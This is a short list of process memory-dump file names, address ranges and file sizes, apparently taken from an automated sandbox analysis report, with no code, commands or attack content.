memory/832-4-0x00007FFACA7F0000-0x00007FFACA800000-memory.dmpFilesize
64KB
-
memory/832-5-0x00007FFACA7F0000-0x00007FFACA800000-memory.dmpFilesize
64KB
-
memory/832-6-0x000001B8D8540000-0x000001B8D8B77000-memory.dmpFilesize
6.2MB
-
memory/832-7-0x00007FFAC7350000-0x00007FFAC7360000-memory.dmpFilesize
64KB
-
memory/832-2-0x00007FFACA7F0000-0x00007FFACA800000-memory.dmpFilesize
64KB
-
memory/876-10-0x00007FFAE39E0000-0x00007FFAE43CC000-memory.dmpFilesize
9.9MB
-
memory/876-12-0x000001D4CCE10000-0x000001D4CCE12000-memory.dmpFilesize
8KB
-
memory/876-13-0x000001D4CCE13000-0x000001D4CCE15000-memory.dmpFilesize
8KB
-
memory/876-14-0x000001D4CCF20000-0x000001D4CCF21000-memory.dmpFilesize
4KB
-
memory/876-15-0x000001D4CCE16000-0x000001D4CCE18000-memory.dmpFilesize
8KB
-
memory/876-11-0x000001D4CCD10000-0x000001D4CCD11000-memory.dmpFilesize
4KB
-
memory/876-9-0x0000000000000000-mapping.dmp
-
memory/1684-22-0x00000000043B0000-0x00000000043D5000-memory.dmpFilesize
148KB
-
memory/1684-18-0x0000000000000000-mapping.dmp
-
memory/1684-23-0x0000000000400000-0x0000000000423000-memory.dmpFilesize
140KB
-
memory/2164-20-0x0000000000000000-mapping.dmp
-
memory/2844-8-0x0000000000000000-mapping.dmp
-
memory/3928-27-0x0000000000000000-mapping.dmp
-
memory/3928-28-0x0000000000B51000-0x0000000000BB4000-memory.dmpFilesize
396KB
-
memory/3928-32-0x0000000000B50000-0x0000000000B73000-memory.dmpFilesize
140KB
-
memory/3972-16-0x0000000000000000-mapping.dmp
-
memory/3976-26-0x0000000000000000-mapping.dmp